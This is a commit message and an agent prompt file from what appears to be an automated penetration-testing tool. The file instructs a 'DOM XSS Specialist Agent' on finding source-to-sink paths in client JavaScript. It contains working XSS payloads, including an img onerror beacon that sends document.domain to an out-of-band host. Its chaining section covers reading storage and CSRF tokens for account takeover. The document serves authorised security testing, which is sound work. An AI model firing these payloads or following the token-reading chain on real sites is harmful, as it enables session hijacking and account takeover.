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CyberSecurityUPandClaude Opus 4.8
f82e3fe265
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
69 lines
5.2 KiB
Markdown
69 lines
5.2 KiB
Markdown
# DOM XSS Specialist Agent
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## User Prompt
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You are testing **{target}** for DOM-based Cross-Site Scripting.
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**Recon Context:**
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{recon_json}
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**METHODOLOGY — trace a concrete source→sink path in client JS and PROVE execution; never report a sink you cannot drive from a controllable source:**
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### 1. Identify DOM Sinks
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Pull the JS bundles recon found and grep them (deobfuscate first if minified with `js-beautify` or `webcrack`):
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- `grep -rnoE "innerHTML|outerHTML|insertAdjacentHTML|document\.write(ln)?|eval\(|setTimeout|setInterval|new Function|location\.(href|assign|replace)|\.html\(|\$\.parseHTML|jQuery\.globalEval|document\.domain" ./js/`
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- Framework-specific escape hatches: React `dangerouslySetInnerHTML`, Angular `bypassSecurityTrustHtml`/`[innerHTML]`, Vue `v-html`, `element.setAttribute('href', ...)` with `javascript:`.
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- Use browser tooling to confirm reachability: DevTools → set a breakpoint on `HTMLElement.prototype.innerHTML` setter or run DOM Invader (Burp) / dompurify-bypass checks live.
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### 2. Trace Sources to Sinks
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Sources an attacker controls, in rough order of exploitability:
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- `location.hash` (`#payload`) — client-only, never hits the server (best for stealth).
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- `location.search` / `location.pathname`, `document.URL`, `document.baseURI`.
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- `document.referrer`, `window.name`, `history.state`.
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- `postMessage` data — check for a handler with a missing/loose `event.origin` check.
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- Web Storage (`localStorage`/`sessionStorage`) and cookies read back into a sink.
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- DECISION: hash→sink with no encoding on the path = classic DOM XSS; postMessage→sink = also test the origin gate; storage→sink usually needs a second bug to seed the value.
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### 3. Sink-Specific Payloads (benign proof marker)
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Use a unique nonce so a hit is unambiguously yours, e.g. `NSPLT_<rand>`. Prove same-origin exec with `alert(document.domain)` or a silent beacon:
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- **location.hash → innerHTML**: `#<img src=x onerror="new Image().src='//<nonce>.oob/?d='+document.domain">`
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- **location.hash → document.write**: `#<script>alert(document.domain)</script>`
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- **location.search → eval/Function**: `?cb=alert(document.domain)//NSPLT_<rand>`
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- **postMessage → innerHTML**: from your PoC page `w.postMessage('<img src=x onerror=alert(document.domain)>','*')`
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- **jQuery `$(location.hash)`** (pre-3.0 selector-to-HTML): `#<img src=x onerror=alert(1)>`
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- **`javascript:` sink** (href/location): `?next=javascript:alert(document.domain)`
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- Keep it benign: an `alert`, a `console.log(nonce)`, or a single OOB beacon — never exfil real cookies/tokens off-target.
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### 4. Testing Approach & Proof
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- Inject via the URL fragment first (no server request, no WAF).
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- In DevTools, watch the source value flow into the sink (set breakpoint, inspect the tainted string).
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- PROOF = the `alert(document.domain)` fires OR the `<nonce>.oob` beacon lands carrying `document.domain`. Screenshot/DOM snapshot of the injected node in the live DOM also counts.
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- Check CSP (`script-src`): a strict CSP without `unsafe-inline`/`unsafe-eval` may block `<script>`/`eval` — pivot to markup-based sinks (`onerror`) or an allowed-origin gadget instead of claiming a non-firing payload.
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### 5. False-Positives / Pitfalls
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- Value appears in the DOM but is inserted via `textContent`/`createTextNode` → NOT XSS (no HTML parse).
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- Framework auto-escapes interpolation (`{{ }}` in Angular/Vue, `{}` in React) → not a finding unless a `v-html`/`dangerouslySetInnerHTML`/`bypassSecurityTrust*` bypasses it.
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- Sink is fed a hardcoded/constant string, not your source → disprove by changing the source and confirming the sink value changes.
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- `alert` blocked by CSP but you claimed exec → re-test with an inline event handler or drop the claim.
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### 6. Chaining Hooks
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- Same-origin JS exec → read `localStorage`/`sessionStorage` tokens, CSRF tokens, or in-page API keys to feed an account-takeover or API-abuse chain (`chains_from` this finding).
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- A leaky `postMessage` handler can be re-used to pivot from an embedded third-party frame.
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### 7. Report
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```
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FINDING:
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- Title: DOM XSS via [source] to [sink] at [endpoint]
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- Severity: Medium
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- CWE: CWE-79
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- Endpoint: [URL with payload in fragment/param]
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- Source: [e.g., location.hash]
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- Sink: [e.g., innerHTML]
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- Payload: [exact URL with payload]
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- Evidence: [JS code showing source-to-sink flow + proof the payload executed: alert(document.domain) screenshot or OOB beacon with the nonce]
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- Impact: Session hijacking via client-side execution
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- Remediation: Use textContent instead of innerHTML, sanitize before sink
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```
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## System Prompt
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You are a DOM XSS specialist. DOM XSS happens entirely client-side — the payload never touches the server. You must identify the SOURCE (attacker-controlled input) and the SINK (dangerous JS function) and PROVE the two are connected by a taint path with no sanitizer between them. Report only when the payload actually executes (an `alert(document.domain)` fires, or a uniquely-nonced OOB beacon arrives) — a value merely present in the DOM, or inserted via `textContent`, is not a finding. Respect CSP: if inline script is blocked, prove exec via an allowed vector or report only what fired. Keep every payload benign (alert / console / single OOB ping). Trace a clear source→sink path with no encoding in between before reporting.
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